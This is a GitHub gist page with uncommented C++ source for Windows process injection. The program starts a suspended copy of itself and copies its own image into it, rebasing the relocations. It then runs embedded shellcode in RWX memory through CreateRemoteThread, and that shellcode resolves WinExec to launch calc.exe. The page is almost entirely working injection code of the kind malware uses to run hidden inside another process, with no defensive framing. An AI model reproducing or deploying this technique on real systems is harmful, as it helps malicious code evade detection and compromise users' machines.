Skip to content

Instantly share code, notes, and snippets.

@ghoulgy
Created January 12, 2020 06:47
Show Gist options
  • Save ghoulgy/3ce45f12d1332cf0629887677fdc2a74 to your computer and use it in GitHub Desktop.
Save ghoulgy/3ce45f12d1332cf0629887677fdc2a74 to your computer and use it in GitHub Desktop.
#include <iostream>
#include <windows.h>
typedef struct BASE_RELOCATION_ENTRY {
USHORT Offset : 12;
USHORT Type : 4;
} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;
DWORD InjectionEntryPoint() {
unsigned char sc[] = "\x50\x53\x51\x52\x56\x57\x55\x89"
"\xe5\x83\xec\x18\x31\xf6\x56\x6a"
"\x63\x66\x68\x78\x65\x68\x57\x69"
"\x6e\x45\x89\x65\xfc\x31\xf6\x64"
"\x8b\x5e\x30\x8b\x5b\x0c\x8b\x5b"
"\x14\x8b\x1b\x8b\x1b\x8b\x5b\x10"
"\x89\x5d\xf8\x31\xc0\x8b\x43\x3c"
"\x01\xd8\x8b\x40\x78\x01\xd8\x8b"
"\x48\x24\x01\xd9\x89\x4d\xf4\x8b"
"\x78\x20\x01\xdf\x89\x7d\xf0\x8b"
"\x50\x1c\x01\xda\x89\x55\xec\x8b"
"\x58\x14\x31\xc0\x8b\x55\xf8\x8b"
"\x7d\xf0\x8b\x75\xfc\x31\xc9\xfc"
"\x8b\x3c\x87\x01\xd7\x66\x83\xc1"
"\x08\xf3\xa6\x74\x0a\x40\x39\xd8"
"\x72\xe5\x83\xc4\x26\xeb\x41\x8b"
"\x4d\xf4\x89\xd3\x8b\x55\xec\x66"
"\x8b\x04\x41\x8b\x04\x82\x01\xd8"
"\x31\xd2\x52\x68\x2e\x65\x78\x65"
"\x68\x63\x61\x6c\x63\x68\x6d\x33"
"\x32\x5c\x68\x79\x73\x74\x65\x68"
"\x77\x73\x5c\x53\x68\x69\x6e\x64"
"\x6f\x68\x43\x3a\x5c\x57\x89\xe6"
"\x6a\x0a\x56\xff\xd0\x83\xc4\x46"
"\x5d\x5f\x5e\x5a\x59\x5b\x58\xc3";
void* exec = VirtualAlloc(0, sizeof sc, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, sc, sizeof sc);
((void(*)())exec)();
return 0;
}
int main()
{
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInfo;
HANDLE sharedmutex;
ZeroMemory(&startupInfo, sizeof(startupInfo));
ZeroMemory(&processInfo, sizeof(processInfo));
startupInfo.cb = sizeof(startupInfo);
sharedmutex = CreateMutexA(NULL, FALSE, "AskxigenAF");
if (GetLastError() != ERROR_ALREADY_EXISTS)
{
if (CreateProcess(0, GetCommandLine(), 0, 0, 0, CREATE_SUSPENDED, 0, 0, &startupInfo, &processInfo) == 0) {
printf("ERROR %d : Mutex already exists\n", GetLastError());
}
PVOID imageBase = GetModuleHandle(NULL);
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)imageBase;
PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)imageBase + dosHeader->e_lfanew);
PVOID localImage = VirtualAlloc(NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_READWRITE);
memcpy(localImage, imageBase, ntHeader->OptionalHeader.SizeOfImage);
HANDLE targetProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, GetProcessId(processInfo.hProcess));
PVOID targetImage = VirtualAllocEx(targetProcess, NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
DWORD_PTR deltaImageBase = (DWORD_PTR)targetImage - (DWORD_PTR)imageBase;
PIMAGE_BASE_RELOCATION relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)localImage + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
DWORD relocationEntriesCount = 0;
PDWORD_PTR patchedAddress;
PBASE_RELOCATION_ENTRY relocationRVA = NULL;
while (relocationTable->SizeOfBlock > 0) {
relocationEntriesCount = (relocationTable->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(USHORT);
relocationRVA = (PBASE_RELOCATION_ENTRY)(relocationTable + 1);
for (short i = 0; i < relocationEntriesCount; i++) {
if (relocationRVA[i].Offset) {
patchedAddress = (PDWORD_PTR)((DWORD_PTR)localImage + relocationTable->VirtualAddress + relocationRVA[i].Offset);
*patchedAddress += deltaImageBase;
}
}
relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)relocationTable + relocationTable->SizeOfBlock);
}
WriteProcessMemory(targetProcess, targetImage, localImage, ntHeader->OptionalHeader.SizeOfImage, NULL);
CreateRemoteThread(targetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)((DWORD_PTR)InjectionEntryPoint + deltaImageBase), NULL, 0, NULL);
}
else
{
printf("");
}
WaitForSingleObject(processInfo.hProcess, INFINITE);
ReleaseMutex(sharedmutex);
CloseHandle(sharedmutex);
getchar();
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment